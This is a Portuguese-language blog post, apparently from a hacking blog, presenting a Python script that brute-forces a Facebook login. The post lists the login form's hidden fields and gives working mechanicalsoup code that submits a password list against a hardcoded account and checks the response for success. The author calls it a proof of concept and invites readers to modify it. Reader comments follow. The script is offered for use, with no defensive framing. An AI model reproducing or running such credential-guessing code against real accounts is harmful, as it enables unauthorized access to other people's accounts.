Ataques, Ataques Web, Programação

Força bruta no Facebook

Tempo de leitura: 2 minutos

Quando entramos no site do Facebook, no alto do site tem duas caixinhas para colocar “Email ou telefone” e “Senha”. Quando clicamos em entrar, o Facebook envia algumas outras informações com os dados informados pelo usuário como mostrado nos códigos abaixo:

<input type="hidden" name="jazoest" value="2709" autocomplete="off" />
<input type="hidden" name="lsd" value="AVozKHz8" autocomplete="off" />
<input type="hidden" autocomplete="off" name="timezone" value="" id="u_0_3" />
<input type="hidden" autocomplete="off" name="lgndim" value="" id="u_0_4" />
<input type="hidden" name="lgnrnd" value="070857_6SPQ" />
<input type="hidden" id="lgnjs" name="lgnjs" value="n" />
<input type="hidden" autocomplete="off" name="ab_test_data" value="" />
<input type="hidden" autocomplete="off" id="locale" name="locale" value="pt_BR" />
<input type="hidden" autocomplete="off" name="next" value="https://www.facebook.com/" />
<input type="hidden" autocomplete="off" name="login_source" value="login_bluebar" />
<input type="hidden" autocomplete="off" name="guid" value="" />
<input type="hidden" autocomplete="off" id="prefill_contact_point" name="prefill_contact_point" />
<input type="hidden" autocomplete="off" id="prefill_source" name="prefill_source" />
<input type="hidden" autocomplete="off" id="prefill_type" name="prefill_type" />

Não temos nenhuma garantia que estes valores serão sempre os mesmos. Por isso teríamos duas possibilidades para fazer um ataque de força bruta a uma conta no Facebook:

  1. Pegar estes valores e enviar tudo em uma requisição legítima para o “action” deste formulário
  2. Usar um “navegador” que faça tudo isso sem eu precisar me preocupar

Obviamente escolhi a segunda opção. Hoje coloco um código feito em Python que faz um ataque de força bruta:

import mechanicalsoup
import time
from bs4 import BeautifulSoup

URL = "https://www.facebook.com/"

senhas = ["123456","123456789","abcdefgh","oaudhfoudb","uiabduadoucb","uabdcibadc","audfpoadbf","aubdfpuoadbf",
          "adafad","asdafgadga","heyhey"]

def tenta(senha):
    #cria o navegador virtual
    navegador = mechanicalsoup.Browser()

    #Pega o conteudo da pagina do Facebook
    paginalogin = navegador.get(URL)

    #print(paginalogin.headers)

    #Achamos o formulário de login
    login_form = paginalogin.soup.find("form", {"id":"login_form"})

    #vamos encontrar o input do usuário e senha
    login_form.find("input", {"name": "email"})["value"] = "feronukaz@mailmetal.com"
    login_form.find("input", {"name": "pass"})["value"] = senha

    #submit form
    response = navegador.submit(login_form,paginalogin.url)

    #verificar se deu certo
    ret = response.text.find("name=\"pass\" id=\"pass\"")
    return ret


for senha in senhas:
    ret = tenta(senha)

    if ret == -1:
        print("Usuário/Senha corretos(s)")
    else:
        print("Usuário/Senha errados(s)")
    time.sleep(1)

Veja que o código não gera senhas como em um ataque de força bruta, não pega senhas de um arquivo como em um ataque de dicionário e não troca o “e-mail” a ser atacado. Este foi um código que desenvolvi apenas como POC (Proof of Concept – Prova de Conceito). Modifique como quiser.

O programa é bem simples. Ele encontra as caixinhas de “Email ou telefone” e “Senha”. Quando encontra, preenche e envia o formulário. Se na outra página tiver alguma caixinha de senha novamente, significa que o usuário/senha estão errados. Se não aparecer, deu certo.

O que achou? Comenta aqui embaixo

8 Comments

  1. L

    Oi. Primeiro gostaria de agradecer pelo trabalho que tens feito aqui no Blog, tem muita coisa interessante!

    Sobre o programa, quando eu executo ele com o meu email do facebook para testar, ele retorna com “Usuário/Senha errados”, mesmo adicionando partes da minha senha no programa, ele não consegue acertar. Alguma ideia do porquê?

    Reply
    1. rafael Author

      Esse script só acerta se a senha correta estiver naquele array. Eu não coloquei nada de força bruta real ou dicionário nele. =D

      Este script foi apenas uma prova de conceito.

      Reply
  2. Junkeira

    o modulo BeautifulSoup foi importado mas eu nao consegui perceber onde ele foi necessario pode indicar onde foi usado. Incrivel, cada codigo que vejo aqui no blog explode a minha mente. Obrigado rafa.

    Dica: adiciona no blog um modo dark para o pessoal ler de noite tranquilo.

    Reply

Leave a Comment

O seu endereço de e-mail não será publicado.